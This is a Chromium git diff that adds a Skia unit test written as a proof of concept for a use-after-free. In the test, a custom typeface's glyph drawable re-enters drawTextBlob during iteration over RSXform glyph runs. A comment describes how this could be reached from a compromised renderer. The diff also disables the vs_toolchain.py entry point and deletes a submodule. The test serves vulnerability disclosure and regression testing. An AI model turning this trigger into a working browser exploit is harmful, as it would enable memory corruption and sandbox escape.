diff --git a/build/vs_toolchain.py b/build/vs_toolchain.py index 88489da743f6d..ef2ec5e69b41c 100755 --- a/build/vs_toolchain.py +++ b/build/vs_toolchain.py @@ -669,4 +669,5 @@ def main(): if __name__ == '__main__': - sys.exit(main()) + #sys.exit(main()) + pass diff --git a/skia/BUILD.gn b/skia/BUILD.gn index 429a7280c7829..44255808770ad 100644 --- a/skia/BUILD.gn +++ b/skia/BUILD.gn @@ -1220,6 +1220,7 @@ test("skia_unittests") { "ext/codec_utils_unittest.cc", "ext/convolver_unittest.cc", "ext/geometry_unittest.cc", + "ext/glyphrun_uaf_unittest.cc", "ext/image_operations_unittest.cc", "ext/platform_canvas_unittest.cc", "ext/recursive_gaussian_convolution_unittest.cc", diff --git a/skia/ext/glyphrun_uaf_unittest.cc b/skia/ext/glyphrun_uaf_unittest.cc new file mode 100644 index 0000000000000..7910af5f05eb5 --- /dev/null +++ b/skia/ext/glyphrun_uaf_unittest.cc @@ -0,0 +1,171 @@ +// Copyright 2024 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. +// +// POC: Reentrant drawTextBlob via glyph drawable causes UAF in +// SkDevice::simplifyGlyphRunRSXFormAndRedraw. +// +// SkCanvas owns a single fScratchGlyphRunBuilder. drawTextBlob() populates the +// builder's std::vector fGlyphRunListStorage and returns a +// GlyphRunList whose SkSpan points into that vector. When the run list contains +// an RSXForm run, simplifyGlyphRunRSXFormAndRedraw iterates the span. If a +// glyph drawable drawn during that iteration calls canvas->drawTextBlob() on +// the *same* canvas, the builder is reused, fGlyphRunListStorage is cleared +// and (with enough new runs) reallocated. The outer range-for iterator then +// dereferences freed heap memory. +// +// In a real attack this is reachable from a compromised renderer in the GPU +// process via SkPictureBackedGlyphDrawable + SkCustomTypeface deserialization +// over the OOP-raster command buffer. This unit test constructs the same +// object graph programmatically against a raster SkSurface, which exercises +// the identical vulnerable loop in SkDevice.cpp. + +#include "testing/gtest/include/gtest/gtest.h" +#include "third_party/skia/include/core/SkCanvas.h" +#include "third_party/skia/include/core/SkDrawable.h" +#include "third_party/skia/include/core/SkFont.h" +#include "third_party/skia/include/core/SkFontMetrics.h" +#include "third_party/skia/include/core/SkImageInfo.h" +#include "third_party/skia/include/core/SkPaint.h" +#include "third_party/skia/include/core/SkPath.h" +#include "third_party/skia/include/core/SkRSXform.h" +#include "third_party/skia/include/core/SkRefCnt.h" +#include "third_party/skia/include/core/SkSurface.h" +#include "third_party/skia/include/core/SkTextBlob.h" +#include "third_party/skia/include/core/SkTypeface.h" +#include "third_party/skia/include/utils/SkCustomTypeface.h" + +namespace { + +// A simple typeface with one path-based glyph. Used for the inner blob B2 and +// for the RSXForm run of B1, so that those runs do not themselves recurse. +sk_sp MakePathTypeface() { + SkCustomTypefaceBuilder builder; + SkFontMetrics metrics; + sk_bzero(&metrics, sizeof(metrics)); + metrics.fTop = -1.0f; + metrics.fAscent = -0.8f; + metrics.fDescent = 0.2f; + metrics.fBottom = 0.3f; + metrics.fXMin = 0.0f; + metrics.fXMax = 1.0f; + builder.setMetrics(metrics); + builder.setGlyph(0, 1.0f, + SkPath::Rect(SkRect::MakeLTRB(0.1f, -0.8f, 0.9f, 0.0f))); + return builder.detach(); +} + +// Build the inner blob B2: many distinct runs so that blobToGlyphRunList(B2) +// forces fGlyphRunListStorage to grow past B1's capacity and reallocate, +// freeing the old heap buffer that the outer iterator still points into. +// (Each run uses a different font size so SkTextBlobBuilder cannot merge +// them into a single run.) +sk_sp MakeInnerBlob(sk_sp tf) { + SkTextBlobBuilder builder; + for (int i = 0; i < 64; ++i) { + SkFont font(tf, 8.0f + static_cast(i)); + const auto& run = builder.allocRunPos(font, 1); + run.glyphs[0] = 0; + reinterpret_cast(run.pos)[0] = SkPoint::Make(0, 0); + } + return builder.make(); +} + +// Drawable that, when rendered as a glyph, reentrantly calls +// canvas->drawTextBlob() on the same SkCanvas. This mirrors what an +// SkRecordedDrawable deserialized from attacker-supplied bytes would do. +class ReentrantDrawable final : public SkDrawable { + public: + explicit ReentrantDrawable(sk_sp inner) + : inner_(std::move(inner)) {} + + protected: + SkRect onGetBounds() override { return SkRect::MakeLTRB(0, -1, 1, 0); } + void onDraw(SkCanvas* canvas) override { + if (fired_) { + return; + } + fired_ = true; + // Reenter the same canvas's text pipeline. This call invokes + // fScratchGlyphRunBuilder->blobToGlyphRunList(B2) which clears and + // reallocates fGlyphRunListStorage while the outer + // simplifyGlyphRunRSXFormAndRedraw loop is mid-iteration. + SkPaint paint; + canvas->drawTextBlob(inner_, 0, 0, paint); + } + + private: + sk_sp inner_; + bool fired_ = false; +}; + +// Typeface whose glyph 0 is the reentrant drawable. +sk_sp MakeDrawableTypeface(sk_sp drawable) { + SkCustomTypefaceBuilder builder; + SkFontMetrics metrics; + sk_bzero(&metrics, sizeof(metrics)); + metrics.fTop = -1.0f; + metrics.fAscent = -0.8f; + metrics.fDescent = 0.2f; + metrics.fBottom = 0.3f; + metrics.fXMin = 0.0f; + metrics.fXMax = 1.0f; + builder.setMetrics(metrics); + builder.setGlyph(0, 1.0f, std::move(drawable), + SkRect::MakeLTRB(0, -1, 1, 0)); + return builder.detach(); +} + +// Build the outer blob B1: +// run0: kFull positioning, 1 glyph, font = drawable typeface @ size 400. +// Large size makes ShouldDrawAsPath() true so the bitmap painter +// takes the path/drawable branch and invokes the glyph drawable on +// the live canvas. +// run1: kRSXform positioning, 1 glyph. Its presence makes +// glyphRunList.hasRSXForm() true so SkDevice::drawGlyphRunList +// dispatches to simplifyGlyphRunRSXFormAndRedraw (the vulnerable +// iterator). +sk_sp MakeOuterBlob(sk_sp drawable_tf, + sk_sp path_tf) { + SkTextBlobBuilder builder; + + SkFont font0(std::move(drawable_tf), 400.0f); + { + const auto& run = builder.allocRunPos(font0, 1); + run.glyphs[0] = 0; + reinterpret_cast(run.pos)[0] = SkPoint::Make(0, 0); + } + + SkFont font1(std::move(path_tf), 20.0f); + { + const auto& run = builder.allocRunRSXform(font1, 1); + run.glyphs[0] = 0; + reinterpret_cast(run.pos)[0] = SkRSXform::Make(1, 0, 0, 0); + } + + return builder.make(); +} + +TEST(SkiaGlyphRunUAF, ReentrantDrawTextBlobViaGlyphDrawable) { + sk_sp path_tf = MakePathTypeface(); + sk_sp inner = MakeInnerBlob(path_tf); + sk_sp drawable = sk_make_sp(std::move(inner)); + sk_sp drawable_tf = MakeDrawableTypeface(std::move(drawable)); + sk_sp outer = MakeOuterBlob(std::move(drawable_tf), path_tf); + + sk_sp surface = + SkSurfaces::Raster(SkImageInfo::MakeN32Premul(1024, 1024)); + ASSERT_TRUE(surface); + SkCanvas* canvas = surface->getCanvas(); + + SkPaint paint; + // Triggers: onDrawTextBlob -> blobToGlyphRunList(B1) -> + // simplifyGlyphRunRSXFormAndRedraw (iterating fGlyphRunListStorage) -> + // [run0] drawGlyphRunList -> drawForBitmapDevice -> glyph drawable -> + // ReentrantDrawable::onDraw -> drawTextBlob(B2) -> + // blobToGlyphRunList(B2) -> prepareBuffers -> fGlyphRunListStorage + // reallocated -> return to outer loop -> dereference freed run[1]. + canvas->drawTextBlob(outer, 100, 500, paint); +} + +} // namespace diff --git a/third_party/search_engines_data/resources_internal b/third_party/search_engines_data/resources_internal deleted file mode 160000 index d0158bfe38a17..0000000000000 --- a/third_party/search_engines_data/resources_internal +++ /dev/null @@ -1 +0,0 @@ -Subproject commit d0158bfe38a1759ead13e53ed0332aefdb0f512b